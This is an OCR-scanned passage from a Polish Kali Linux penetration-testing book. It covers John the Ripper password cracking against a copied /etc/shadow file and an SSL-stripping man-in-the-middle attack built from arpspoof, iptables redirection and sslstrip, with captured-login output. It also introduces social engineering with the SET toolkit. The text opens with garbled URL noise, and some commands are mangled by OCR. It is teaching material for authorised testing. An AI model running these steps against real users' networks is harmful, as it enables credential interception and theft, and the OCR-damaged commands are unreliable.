»Words L rl 1SÜ&W http 2 /www.thesecuntybloęęer.com l ‘Publisher 1 http:/ /www. thesecuntyblopęer.c om/Twp-html-rendhttp ' -WWWthesecuntyblogger.com,'-wp^s-dump1 l i W htro://www. thesecuntvblooqer.c om/"wr>-stoD-ver1 htro://www.thesecuntvbloaaer.c om/'wrj-start-ver13MSW http://wwwthesecuntvblogqer c om /’wp-unc heckout 13&4&W http://www thesecuntvblogqer c om/^wp-usr-prop 20 W |http.//www.theserinitybloqoer.r,oin/cqi-hm 1 http ://www. thesenintyhl oqger.r.nm/?wp-ver-diff— 1354»W http ://www. thesen intyhl oqqer.r nm/?wp-ver-info= 1354»W http -Jfwww.thesenintyhl oqger.r omf/wp-yen fy-link =
Mctalayer tn OMASP Project
Łamanie haseł Hasła to obecnie najczęściej spotykana metoda uwierzytelniania użytkowników. Powszechnie wiadomo, że hakerzy po uzyskaniu dostępu do pierwszego systemu w atakowanym środowi sku dokonują prób wyszukiwania, przechwytywania czy łamania haseł dających dostęp do in nych systemów. W rozdziale 4., „Ataki na klienty aplikacji internetowych”, znajdziesz osobny podrozdział dotyczący zagadnień związanych z łamaniem haseł przy użyciu narzędzi dostęp nych w systemie Kali Linux, natomiast teraz przyjrzymy się tylko jednemu z najpopularniej szych narzędzi służących do tego celu.
John the Ripper John the Ripper to obecnie zdecydowanie najpopularniejsze i najczęściej używane narzędzie przeznaczone do łamania haseł. Program ten posiada kilka silników pozwalających na łamanie różnego typu haseł, włącznie z hasłami szyfrowanymi (ang. encrypted passw ords) i haszowanymi (ang. h ash ed passwords). John the Ripper potrafi automatycznie wykrywać hasła szyfrowane i haszowane, co jest znakomitym ułatwieniem dla pentesterów. Potencjalni napastnicy i inne czarne charaktery również bardzo lubią ten program, ponieważ posiada wiele opcji konfiguracyj nych, pozwalających na przyspieszanie procesu łamania haseł, i można go w łatwy sposób do stosować do własnych potrzeb. Proces łamania haseł za pomocą programu John the Ripper odbywa się zazwyczaj w nastę pujący sposób: ■
Próba złamania hasła za pomocą ataku słownikowego.
■
Modyfikacja ataku słownikowego poprzez dodawanie do kolejnych wyrazów przedrostków i przyrostków alfanumerycznych.
■
Modyfikacja ataku słownikowego poprzez łączenie ze sobą poszczególnych wyrazów.
■
Zastosowanie znaków alfanumerycznych do łączenia wyrazów.
137
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
Atak wykorzystujący wyrazy ze słowników wymieszane ze znakami specjalnymi.
■
Jeżeli żaden z powyższych ataków nie zakończy się powodzeniem, przechodzimy do ataku metodą b ru te-fo rce.
Dobrą praktyką jest częsta aktualizacja domyślnego słownika. Z naszych testów wynika, że do myślna lista wyrazów składa się zaledwie z 3115 pozycji, co z całą pewnością nie daje żadnej gwarancji złamania nawet popularnych i często używanych haseł. Na szczęście bez żadnych trudności można znaleźć dodatkowe, znacznie obszerniejsze słowniki za pomocą wyszukiwarki Google. Aby sprawdzić liczbę wyrazów w nowym słowniku, powinieneś po zakończeniu po bierania otworzyć okno terminalu i wykonać polecenie wc -1 NAZWA_PLIKU, gdzie NAZWA_PLIKU to oczywiście nazwa pobranego pliku słownika. Kiedy pobierasz z internetu i łączysz ze sobą różne słowniki, bardzo często zdarza się, że za wierają one duplikujące się hasła (czasami wielokrotnie). W takiej sytuacji zdecydowanie za lecamy usuwanie powtarzających się haseł, jak również haseł zapisanych wielkimi literami, które mają już swoje odpowiedniki zapisane małymi literami (John the Ripper automatycznie sprawdza oba warianty haseł). Poniżej przedstawiamy przykład polecenia, które możesz wy korzystać do usunięcia wyrazów zapisanych wielkimi literami. t r A-Z a-z < CustomWordFile > AllLowerCaseFile Za pomocą kolejnego polecenia możesz usunąć ze słownika powtarzające się wyrazy. so rt -u AllLowerCaseFile > NoDuplicatesOrUpperCase Teraz powiniene ś sprawdzić nową liczbę wyrazów w słowniku. Aby to zrobić, wykonaj nastę pujące polecenie: wc -1 NoDuplicatesOrUpperCase Aby w systemie Kali Linux uruchomić program John the Ripper, w menu głównym przejdź do grupy K ali Linux, a następnie wybierz polecenie Passw ord A ttacks/O ffin e A ttack/John. Na ekranie pojawi się okno terminalu.
Johnny to wersja programu John the Ripper wyposażona w graficzny interfejs użytkownika. Więcej szczegóło wych informacji na temat programu Johnny znajdziesz w rozdziale 4., „Ataki na klienty aplikacji inter netowych".
Jeżeli chcesz sprawdzić szybkość działania programu John the Ripper, możesz w oknie term i nalu wykonać polecenie john -te s t. Aby jako słownika domyślnego użyć własnego pliku słownika, takiego jak plik N oD uplicatesO rU pperCase z poprzedniego przykładu, musisz w konfiguracji programu zmienić wpis repre zentujący domyślną listę haseł. Przejdź do domyślnego folderu programu John the Ripper, znajdź plik john.con f, otwórz go w swoim ulubionym edytorze tekstu i poszukaj opcji Wordlist, która wskazuje na domyślny słownik o nazwie passw ords.lst.
138
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
fl
# Wordlist f i l e name, to be used in batch mode a rd lis t = $JOHN/password.lst_________________ Zmień nazwę domyślnego pliku słownika (passw ords.lst) na nazwę nowego, własnego pliku. Jeżeli chcesz trzymać się naszego przykładu, po dokonaniu zmian wiersz powinien wyglądać następująco: Wordlist = NoDuplicatesOrUpperCase.lst. Nowy plik słownika musi znajdować się w tym samym katalogu co plik konfiguracyjnyjo h n .con f. Domyślnie oba pliki znajdują się w katalogu $JO H N . Jeżeli chcesz użyć programu John the Ripper do łamania pliku haseł, musisz najpierw w ka talogu Jo h n utworzyć kopię tego pliku. Możesz to zrobić za pomocą polecenia cp. Jeżeli na przykład chcesz utworzyć kopię pliku sh ad ow (dodatkowy plik przechowujący hasła, po wszechnie spotykany w systemach Linux), powinieneś wykonać polecenie cp /etc/shadow. Kiedy plik haseł znajdzie się już w tym samym katalogu co program John the Ripper, wpisz polecenie john i nazwę pliku haseł. Inaczej mówiąc, jeżeli chcesz użyć programu John the Ripper do łamania haseł zapisanych w pliku sh ad ow , powinieneś wykonać polecenie john shadow. Postępy w działaniu programu możesz zobaczyć po naciśnięciu klawisza Enter, co spowoduje wyświetlenie w oknie terminalu aktualnie sprawdzanego hasła oraz informacji o liczbie haseł sprawdzanych w ciągu każdej sekundy (ang. c/s — cracks p er second). W razie potrzeby możesz wstrzymać działanie programu. Aby to zrobić, powinieneś użyć kombinacji klawiszy C trl+ C . Jeżeli później ponownie wydasz polecenie john nazwa_pliku, to działanie programu zostanie wznowione w m iejscu, w którym zostało wstrzymane. Aby zobaczyć rezultaty po zakończeniu działania programu, powinieneś wykonać polecenie john -show nazwa_pliku. Jeżeli na przykład chcesz zobaczyć wyniki działania programu John the Ripper dla pliku haseł sh ad ow , powinieneś wykonać polecenie john -show shadow. Więcej szczegółowych informacji na temat programu John the Ripper znajdziesz na stronie h t t p : / / w w w . o p e n w a l l .c o m / j o h n / .
Ataki typu man-in-the-middle Zgodnie ze standardową definicją ataki typu m an-in -the-m iddle (ang. — „człowiek pośrodku”) to forma aktywnego podsłuchiwania wiadomości przesyłanych między dwiema stronami bez ich wiedzy i zgody. Najczęściej spotykaną formą takiego ataku jest pośredniczenie w przeka zywaniu ruchu sieciowego pomiędzy dwoma systemami. Nie tak dawno temu odkryta została luka w zabezpieczeniach serwerów aplikacji internetowych, która pozwalała napastnikowi po środku (m an-in-the-m iddle) na zamianę wywołań bezpiecznego protokołu H TTPS, przesyła nych przez klienta, na wywołania HTTP, co pozwalało na podsłuchiwanie ruchu sieciowego użytkowników łączących się z serwerami za pomocą połączeń szyfrowanych. W kolejnym podrozdziale przyjrzymy się temu nieco bliżej. W dalszej części naszej książki przedstawimy również inne przykłady tego typu ataków.
139
fl
K a li L in u x . T e s ty p e n e tra c y jn e
SSLStrip W roku 2009 Moxie Marlinspike na konferencji DefCon pokazało swoje najnowsze dzieło, pro gram SSLStrip. Moxie Marlinspike przedstawiło koncepcję ataku SSL stripping, czyli odmianę ataku m an -in -the-m iddle, polegającą na przechwytywaniu wywołań szyfrowanego protokołu H TTPS, przesyłanych przez klienta, i zamianie ich na wywołania HTTP, które w łatwy sposób mogły być modyfikowane. Program SSLStrip automatyzuje cały proces ataku i pozwala na łatwe przechwytywanie ruchu kierowanego do bezpiecznego serwera internetowego. Odpowie dzią środowiska komputerowego na taki rodzaj ataku było opracowanie mechanizmu H STS (ang. H TTP Strict Transport Security), aczkolwiek wdrażanie tego, skądinąd skutecznego, m e chanizmu idzie bardzo powoli i dlatego ataki typu SSL .stripping nadal mają się dobrze i są często spotykane. Na potrzeby tego podrozdziału ograniczymy omawiane przykłady do wykorzystania tylko jednego interfejsu sieciowego, chociaż Twój komputer (lub Twoja maszyna wirtualna) może posiadać wiele takich interfejsów. D la pewności będziemy musieli sprawdzić, czy w systemie są włączone dodatkowe, wirtualne interfejsy Ethernet. W lewym górnym rogu pulpitu systemu Kali Linux znajdziesz przycisk uruchamiający okno terminalu. Po otwarciu okna wpisz polecenie i f c o n f i g , aby przekonać się, jakie interfejsy sie ciowe są skonfigurowane w Twoim systemie. Najlepszym rozwiązaniem będzie użycie polecenia i f c o n f i g | g r e g " e t h " , które spowoduje „odfiltrowanie” informacji o wszystkich innych interfejsach sieciowych poza interfejsami E t hernet, jak pokazano na rysunku poniżej: r o o t@ k a li:-# ifconfig | grap "eth" ethG
Link e n c a p :Ethernet
HWaddr 00:0c:29:49:
Jeżeli posiadasz wiele aktywnych interfejsów sieciowych, wyłącz dodatkowe interfejsy za po mocą polecenia ifd o w n , po którym następuje nazwa interfejsu. Jeżeli w systemie istnieją in terfejsy na przykład o nazwach eth 0 i eth1, to aby wyłączyć interfejs eth0, powinieneś wyko nać polecenie ifd o w n e th 0 . ro o t@ k a l: :-# ifdown ethG Internet Systems Consortium DHCP Client 4.2.2 Copyright 2004-2011 Internet Systems Consortium. Alt rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Listening on LPF/eth0/00:0c:29:49:84:73 Sending on LPF/e t h 0 / 0 0 : 0 c : 2 9 :49:84:73 Sending on Socket/fallback DHCPRELEASE on ethG to 172.16.76.254 port 67 Reloading /e t c / s a m b a/smb.conf: smbd only.
140
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Aby przeprowadzić atak SSL stripping, będą Ci potrzebne dwie informacje. Po pierwsze, mu sisz znać adres IP hosta będącego celem ataku. Po drugie, musisz znać adres IP routera od grywającego rolę domyślnej bramy sieciowej dla całej podsieci. Ponieważ taki atak jest efek tywny tylko z poziomu tego samego segmentu warstwy 2., w którym znajduje się cel ataku, musimy ustawić naszą własną bramę domyślną. Aby to zrobić, musimy po raz kolejny skorzy stać z okna terminalu. Przejdź do okna terminalu i wpisz następujące polecenie: r o u te -n root@kali:-# route -n Kernel IP routing table Destination Gateway Genmask 0.0.0.0 172.16.76.2 0.0.0.0 172.16.76.0 0.0.0.0 255.255 255.0 root@kali:~# route -n | grep 'U G 1 | awk 1{print 172.16.76.2 root@kali:~# |
Flags Met ric Ref UG 0 0 U 0 0 $2}'
Use Iface 0 ethG 0 ethG
Jeżeli chcesz wyświetlić informację tylko o bramie domyślnej, możesz skorzystać z filtrującej wersji tego polecenia: r o u te -n
| g re p
ile
Edit
'UG'
View
ro ot gk al i:- # IP G a te w a y
| awk ' { p r i n t $ 2 } '
S e a rc h
ro u te
Term inal
-n
| aw k
'{ p r in t $ 2 }'
10. 0 . 1.1
0 .0 .0 .0 r o ot @k al i:-# |
Rozpoczęcie ataku — przekierowanie Zanim rozpoczniesz pozyskiwanie z przechwyconych sesji S S L takich informacji jak dane uwierzytelniające użytkowników, musisz wykonać kilka dodatkowych zadań. Przede wszystkim musisz uruchomić proces, który pozwoli Ci na przekierowanie ruchu sieciowego do Twojego komputera, gdzie zostaną przechwycone dane, odpowiednio zmodyfikowane przez SSL Strip; następnie zostaną one przekazane dalej. Aby to zrobić, będziesz musiał włączyć przekazywa nie pakietów IP (ang. IP Forw arding) przy użyciu polecenia ip tables oraz wykorzystać narzę dzie arpspoof do rozsyłania odpowiednio spreparowanych pakietów ARP zawierających fał szywe adresy MAC. W kolejnych trzech punktach wyjaśnimy, jak skonfigurować przekazywanie pakietów IP (ang. IP Forw arding), włączyć rozsyłanie spreparowanych pakietów ARP (ang. ARP Spoofing) oraz skonfigurować odpowiednie przekierowanie portów komunikacyjnych. Wszystkie niezbędne
141
fl
K a li L in u x . T e s ty p e n e tra c y jn e
polecenia będą uruchamiane z poziomu okna terminalu. W łączenie przekazywania pakietów IP możesz zrealizować w następujący sposób: echo 1 > / p r o c / s y s / n e t / ip v 4 / ip _ f o r w a r d
r o o t @ k a li: -# e c h o 1 > / p r o c / s y s / n e t / i p v 4 / i p _ f o rward
Na potrzeby naszego przykładu założymy, że znamy adresy IP zarówno ofiary, jak i docelowe go serwera internetowego, co pozwoli nam na uniknięcie przeciążenia sieci środowiska celu rozsyłanymi do wszystkich hostów spreparowanymi pakietami ARP (ang. A RP ad d ress f l o oding). W przypadku rzeczywistego scenariusza ataku najlepszym rozwiązaniem byłoby za pewne wykorzystanie polecenia arpspoof na całym segmencie drugiej warstwy sieci środowi ska celu (to domyślny sposób postępowania, kiedy nie znamy adresu IP ofiary) i (lub) użycie narzędzi pozwalających na nasłuchiwanie i przechwytywanie pakietów do przeprowadzenia analizy ruchu sieciowego pozwalającej na określenie adresu IP ofiary. Taka operacja, prze prowadzona w środowisku sieciowym z dużą liczbą aktywnych hostów, doprowadziłaby do przeciążenia i zakłócenia normalnego ruchu sieciowego, co z pewnością nie pozostałoby n ie zauważone i radykalnie zmniejszyłoby szansę napastnika na uniknięcie wykrycia. Nasze pole cenie wygląda następująco: a r p s p o o f - i e th 0 - t v i c t i m i p d e f a u lt _ g a t e w a y _ ip
Nie powinieneś uruchamiać takiego polecenia do pracy w tle — po prostu uruchom je do pracy jako zadanie pierwszoplanowe i pozostaw otwarte okno terminalu. Jeżeli będziesz chciał kontynuować pracę z konsolą, otwórz kolejne okno terminalu.
Konfigurowanie przekierowania portów za pomocą iptables Odpowiednie przekierowanie portów komunikacyjnych pozwoli Ci na przechwytywanie ru chu sieciowego wysyłanego do serwera W W W na porcie TCP/80 i przekierowanie tego ruchu do portu, na którym będzie nasłuchiwał pakiet SSLStrip. W naszym przypadku użyjemy do tego celu portu TCP/10000. Oczywiście w razie potrzeby możesz użyć praktycznie dowolne go innego portu. Pamiętaj, że port, do którego przekierowujesz przechwycony ruch sieciowy, musi być również skonfigurowany w pakiecie SSLStrip jako port nasłuchujący (ang. listener port). Aby wykonać zadanie, powinieneś użyć następującego polecenia: ip t a b l e s - t n a t -A PREROUTING -p tc p - - d e s t i n a t i o n - p o r t 80 - j p o r t s 10000
142
RED IRECT - - t o
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
^ ^ F ile
E d it
V ie w
S e a rc h
T e rm in â t
|
H e lp
ro o t@ k a li:-# ip t a b le s - t nat -A PREROUTING -p tc p - - d e s t in a t io n - p o r t 80 ECT - - t o - p o r t s 10000 r o o t@ k a li:-# []
Aby wyłączyć regułą PREROUTING, powinieneś w wywołaniu polecenia zamienić opcję -A na opcję -D, co spowoduje usunięcie tej reguły z tabeli. ip tables - t nat -F #usuwa listę reguł ip tables - t nat -L #wyświetla listę reguł Polecenie ip tables ma wiele opcji. Więcej szczegółowych informacji na temat tego polecenia znaj dziesz na stronach podręcznika man, które możesz wyświetlić z wykorzystaniem polecenia man iptables.
Teraz wszystko powinno być już gotowe i możesz rozpocząć przechwytywanie ruchu przy użyciu pakietu SSLStrip. Otwórz nowe okno terminalu i uruchom polecenie s s ls tr ip . Aby skonfigurować pakiet S S L Strip do nasłuchiwania ruchu sieciowego na porcie TCP/10000, powinieneś wykonać nastę pujące polecenie: s s ls tr ip -l 10000
F ile
E d it
V ie w
S e a rc h
T e rm in a l
H e lp
ro o t@ k a li:~ # s s l s t r i p - 1 10000 s s l s t r i p 0 .9 by Moxie M a rlin s p ik e r u n n in g ...
Teraz przejdź na komputer, który udaje ofiarę Twojego ataku, uruchom przeglądarkę, przejdź na stronę swojej poczty elektronicznej (na przykład https://w w w .hotm ail.com ) i się zaloguj.
143
K a li L in u x . T e s ty p e n e tra c y jn e
Otwórz kolejne okno terminalu, przejdź do katalogu SSLStrip i wykonaj następujące polecenie:
t @ k a li:~ # t a i l
-n 50 - f s s l s t r i p . l o g |
Na ekranie powinieneś zobaczyć wyniki swojego ataku przeprowadzonego za pomocą pakietu SSLStrip.
Z oczywistych powodów nazwa konta użytkownika i hasło dostępu zostały na rysunku zamaskowane, ale w Twoim przypadku będą wyświetlone na ekranie jako normalny tekst.
SEND L3 ERROR: 2470 b y te packet (0800:06) d e s tin e d t o 2 0 7 .4 6 .4 .2 3 6 was n o t forw arded ( lib n e t_ w r ite _ ra w _ ip v 4 ( ) : -1 b y te s w r it t e n (Message to o lo n g ) SEND L3 ERROR: 2470 b y te packet (0800:06) d e s tin e d to 2 0 7 .4 6 .4 .2 3 6 was n o t forw arded ( lib n e t_ w r ite _ ra w _ ip v 4 ( ) : -1 b y te s w r it t e n (Message to o lo n g ) SEND L3 ERROR: 2119 b y te packet (0800:06) d e s tin e d t o 2 0 7 .4 6 .4 .2 3 6 was n o t forw arded ( lib n e t_ w r ite _ ra w _ ip v 4 ( ) : -1 b y te s w r it t e n (Message to o lo n g ) SEND L3 ERROR: 2470 b y te packet (0800:06) d e s tin e d to 2 0 7 .4 6 .4 .2 3 6 was n o t forw arded ( lib n e t_ w r ite _ ra w _ ip v 4 ( ) : -1 b yte s w r it t e n (Message to o lo n g ) SEND L3 ERROR: 2470 b y te packet (0800:06) d e s tin e d t o 2 0 7 .4 6 .4 .2 3 6 was n o t forw arded (lib n e t_ w r ite _ ra w _ ip v 4 ( ) : -1 b yte s w r it t e n (Message to o lo n g ) HTTP : 6 6 .2 2 0 .1 5 8 .2 7 :8 0 -> USER: . PASS: INFO: h ttp ://w w w .fa c e b o o k .c o m / index.php?stype=lo&jlou=Afd-iEy36EjRp-kbdeXNCn3gAuzayU8G6j9UfIaMm IdFtiEsD9-zW IhlQpIlX3N0isjaOOVfpMEGYm f 3F440-ZEXeGoPLruqIdBg SEND L3 ERROR: 1803 b y te packet (0800:06) d e s tin e d t o 17.172.116.36 was no t forw arded ( lib n e t_ w r ite _ ra w ip v 4 ( ) : -1 b y te s w r it t e n (Message to o lo n g )
1
'
User requested a CTRL+C... (d e p re c a te d , next tim e use p ro p e r shutdown) r o n r ^ k a l ( : ■# |
144
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Podsumowanie W tym rozdziale przedstawiliśmy różne metody łamania zabezpieczeń i uzyskiwania dostępu do podatnych na ataki serwerów aplikacji internetowych przy użyciu narzędzi dostępnych w sys temie Kali Linux. Najczęściej stosowana praktyka polega na wyszukiwaniu podatności i luk w za bezpieczeniach przy użyciu zautomatyzowanych narzędzi skanujących, a później na dokony waniu prób wykorzystania najbardziej obiecujących luk w zabezpieczeniach do uzyskania dostępu do atakowanego systemu. Na początku tego rozdziału omówiliśmy narzędzia pozwalające na wyszukiwanie luk w zabezpie czeniach serwerów aplikacji internetowych. Następnie przedstawiliśmy narzędzia umożliwia jące wykorzystanie zidentyfikowanych podatności do uzyskania dostępu do serwerów aplika cji internetowych oraz serwerów poczty elektronicznej. Kolejnym zagadnieniem omawianym w tym rozdziale były narzędzia pozwalające na przeprowadzanie ataków typu b ru te-force na systemy, które okazały się odporne na inne rodzaje ataków. Przy tej okazji poruszyliśmy również tematy związane z łamaniem haseł oraz atakami typu m an-in-the-m iddle, aczkolwiek w kolej nych rozdziałach jeszcze wielokrotnie będziemy powracać do tych zagadnień. W następnym rozdziale skoncentrujemy się na wyszukiwaniu i wykorzystywaniu luk w za bezpieczeniach systemów, które odgrywają rolę klientów aplikacji internetowych.
145
fl
K a li L in u x . T e s ty p e n e tra c y jn e
146
R
O
Z
D
Z
I
A
Ł
Ataki na klienty aplikacji internetowych Termin klient oznacza urządzenie końcowe wykorzystywane do łączenia się z siecią, takie jak komputer, tablet czy urządzenie mobilne. Klienty mogą zarówno oferować informacje, usługi i aplikacje innym klientom, jak i pobierać informacje z innych systemów, takich jak serwery. Zazwyczaj termin klient odnosi się do urządzeń końcowych obsługiwanych przez użytkowni ków, a ponieważ w takiej sytuacji w grę wchodzi tzw. czynnik ludzki, to potencjalny zakres elementów podatnych na ataki jest bardzo szeroki. Ataki na klienty w kontekście aplikacji internetowych są postrzegane jako metody pozwalające na identyfikację użytkowników połączonych z daną aplikacją, wyszukiwanie luk w zabezpieczeniach systemów odgrywających rolę klientów i sprawdzanie, czy takich słabości w zabezpieczeniach klientów nie można wykorzystać do uzyskania nieautoryzowanego dostępu i pobierania da nych z aplikacji internetowych. W tym rozdziale skoncentrujemy się na identyfikacji syste mów używających aplikacji internetowych, wyszukiwaniu słabych stron ich zabezpieczeń oraz wykorzystywaniu znalezionych luk w zabezpieczeniach (o ile okaże się, że je st to możli we). Bardzo dużo uwagi poświęcimy zagadnieniom związanym z łamaniem haseł dostępu, które jak już wielokrotnie wspominaliśmy, są obecnie najbardziej rozpowszechnionym m e chanizmem uwierzytelniania użytkowników i zabezpieczania klientów. Nasze rozważania rozpoczniemy od omówienia ataków na klienty (a w zasadzie na ich użyt kowników) z wykorzystaniem metod socjologicznych. Następnie przedstawimy metody wy szukiwania słabych stron zabezpieczeń klientów oraz sposoby wykorzystywania znalezionych podatności przy użyciu narzędzi zaimplementowanych w systemie Kali Linux i nie tylko. Rozdział zakończymy omówieniem zagadnień związanych z łamaniem haseł pozwalających na uzyskanie dostępu do atakowanego systemu.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Inżynieria społeczna W całym złożonym łańcuchu zabezpieczeń systemów komputerowych to zwykle człowiek był, je st i będzie najsłabszym ogniwem. Człowiek ma przekorną naturę. Zazwyczaj dzieje się tak, że im bardziej usiłujesz kontrolować poczynania użytkowników, tym bardziej próbują oni znaleźć sposób na ominięcie narzuconych im reguł polityki bezpieczeństwa. Z drugiej strony im mniej środków kontroli użytkowników zostanie wdrożonych w danym środowisku, tym jeszcze mniejsza staje się szansa na to, że będą oni przestrzegać jakichkolwiek reguł polityki bezpieczeństwa. Taka sytuacja staje się obosieczną bronią w sytuacji, kiedy musisz podjąć decyzję dotyczącą tego, jakie mechanizmy zabezpieczeń powinieneś wdrożyć w celu ochrony użyt kowników przed zagrożeniami płynącymi ze współczesnego cyberświata. Hakerzy doskonale zdają sobie z tego sprawę i dokładają wszelkich starań, aby w bezwzględny sposób wykorzy stać jedną kluczową cechę charakteru każdego przeciętnego użytkownika — zaufanie. W kontekście bezpieczeństwa teleinformatycznego inżynieria społeczna (ang. social engineering) to sztuka manipulowania ludźmi tak, aby z pozornie własnej woli postępowali w sposób pozwala jący napastnikowi na pozyskiwanie niejawnych informacji. Bardzo wiele ataków na systemy odgrywające rolę klientów polega na przekonaniu użytkownika do mniej lub bardziej świa domego wykonania takich akcji, które wystawiają jego system na atak. Metody socjologiczne stosowane przez hakerów są bardzo zróżnicowane, od prostej rozmowy telefonicznej z użyt kownikiem, w której napastnik, podając się za pracownika firmy (np. z działu pomocy tech nicznej), usiłuje przekonać użytkownika do ujawnienia określonych informacji, aż do za mieszczania na popularnych serwisach społecznościowych łączy prowadzących do specjalnie przygotowanych aplikacji internetowych, które udostępniają atrakcyjne dla użytkownika tre ści, ale są tak naprawdę wyrafinowanymi narzędziami pozwalającymi na przełamanie zabez pieczeń i uzyskanie dostępu do klientów odwiedzających te serwisy. Dobre praktyki pozwalające na przeprowadzenie skutecznego ataku socjotechnicznego nakazują przed jego rozpoczęciem starannie rozpoznać i zrozumieć środowisko celu, a przede wszystkim dowiedzieć się, jak użytkownicy komunikują się między sobą i jak można się „wtopić” w takie środowisko. W zdecydowanej większości przypadków ataki socjotechniczne, które zakończyły się niepowodzeniem, były po prostu źle przygotowane, korzystały ze zbyt ogólnych wzorców lub nie było w nich odpowiednio atrakcyjnej przynęty dla użytkownika. Przykładami takich często spotykanych ataków są rozsyłane za pośrednictwem poczty elektronicznej wiadomości, napisane łamaną polszczyzną i radośnie komunikujące, że wygrałeś „dużo pieniądze”, które otrzymasz natychmiast po wysłaniu swoich danych osobowych, numeru konta i opłaceniu sto sunkowo niewielkich „kosztów przelewu”. Wykorzystanie mediów społecznościowych, takich jak Facebook, to świetny sposób na zebranie wiadomości na temat użytkownika będącego ce lem naszego ataku, takich jak jego hobby, ostatnie podróże, zainteresowania, znajomi bądź ścieżka edukacyjna. Gdy zobaczysz, że użytkownik będący celem Twojego ataku jest na przy kład zapalonym kibicem sportowym, to do przygotowania ataku socjotechnicznego możesz wykorzystać zagadnienia związane z rabatami na zakup biletów wstępu na rozgrywki itp.
148
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
Ponieważ większość ataków na klienty w taki czy inny sposób wykorzystuje metody inżynierii społecznej, w kolejnym podrozdziale przyjrzymy się najciekawszym narzędziom wspomaga jącym przeprowadzanie ataków socjotechnicznych, jakie możesz znaleźć w arsenale systemu Kali Linux.
Pakiet SET — Social Engineer Toolkit Pakiet S E T (ang. Social E n gin eer Toolkit) został wymyślony i napisany przez jednego z zało życieli firmy TrustedSec. Jest to napisany w języku Perl program typu open source, będący zbiorem narzędzi przeznaczonych do przeprowadzania socjotechnicznych testów penetracyjnych. S E T je st bardzo popularnym narzędziem wśród specjalistów z zakresu bezpieczeństwa teleinformatycznego (i nie tylko), którzy zajmują się sprawdzaniem odporności danej organi zacji na tego typu ataki. Z kolei hakerzy i inne „czarne charaktery” wykorzystują pakiet S E T do przygotowywania wyrafinowanych, precyzyjnie zaplanowanych i starannie wymierzonych ataków socjotechnicznych. Pakiet SE T to jeden z najczęściej wykorzystywanych w tej dziedzinie pakietów oprogramowania. Aby w systemie Kali Linux uruchomić pakiet SET, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie E xploitation Tools/Social E ngineering Tools/se-toolkit. Kiedy uruchomisz pakiet S E T po raz pierwszy, program rozpocznie pobieranie aktualizacji z serwisu GitHub i będziesz miał możliwość włączenia automatycznego pobierania aktualizacji. Aby to zrobić, wybierz opcję yes.
a.
v
x Terminal
File Edit View Terminal Help
The Social-Engineer Toolkit is designed purely for good and not e v il. I f you are planning on using th is tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violat ing the terms of service and license of th is toolset. By hitting yes (only one time), you agree to the terms of service and that you w ill only us e th is tool for lawful purposes only. Do you agree to the terms of service [y/n]: y
[I] The Social-Engineer Toolkit has o ffic ia lly moved to github and no longer use s SVN. (!) Ensure that you have GIT installed and th is conversion tool w ill automatical ly pull the latest g it version for you. (!) Do you want to do a manual in s ta ll or have SET do the conversion to GIT for you? 1. Automatic 2. Manual 3. Continue using SET (NO UPDATES ANYMORE!) Enter your numeric choice: I
149
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pakiet SE T poprosi, abyś się upewnił, że polecenie g it jest zainstalowane. W systemie Kali Linux polecenie to jest co prawda preinstalowane, ale najbardziej rekomendowanym rozwiązaniem jest przeprowadzenie aktualizacji systemu Kali Linux zgodnie z procedurą opisaną w roz dziale 1., „Przygotowania”. Aktualizacja spowoduje, że w systemie Kali Linux na pewno po jawi się wersja polecenia g it wymagana do poprawnej pracy pakietu S E T System Kali Linux w wersji 1.0 nie posiada katalogu .git. Aby pobrać aktualizację pakietu SET, powinieneś wykonać polecenia przedstawione poniżej: 1. Otwórz okno terminalu i wykonaj polecenie cd /usr/share. 2. Wykonaj kopię starego katalogu set. Aby to zrobić, wpisz polecenie mv set backup.set. 3. Ponownie pobierz pakiet S E T z serwisu GitHub. Aby to zrobić, wykonaj następujące polecenie: g it clone https://github.com /trustedsec/social-engineer-toolkit/set/ ill:/usr/share# cd /share rootgkdli:/usr/share# mv set backup.set Irootpkali:/usr/share# git clone https://github.com/trustedsec/social engineer toolkit / set/ Cloning into 'set'... UY7 PI remote: Counting objects: 8970\
4. Odzyskaj oryginalny plik konfiguracyjny z poprzedniej wersji pakietu SET, dzięki czemu unikniesz konieczności ponownego ustawiania ścieżek do pakietu Metasploit Framework. Aby to zrobić, wykonaj polecenie przedstawione poniżej: cp backup.set/config/set_config set/config/set_config 5. Sprawdź, czy nowa wersja pakietu S E T działa poprawnie. Aby to zrobić, w oknie terminalu wpisz po prostu polecenie s e -to o lk it. r o o t §kali:/usr/share# cp backup.sot/config/sot_config sot/config/sot_config rootflkali:/usr/share# se-toolkit IMPORIANI NOIICtr! Ihe Social-Engineer Toolkit has made some significant changes due to the folder structure of Kali and FSH (Linux). All SET dynamic information will now be saved in the -/.set directory not in s r c / p rogram_junk. [!] | !J [I] [II
Please note that you should use se-toolkit from now on. Launching sot by typing 'sot' is going away soon... If on Kali Linux, just type 'se-toolkit' anywhere... If not on Kali, run python setup.py install and you can use se-toolkit anywhere..
Press {return} to continue into SFT.J
150
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
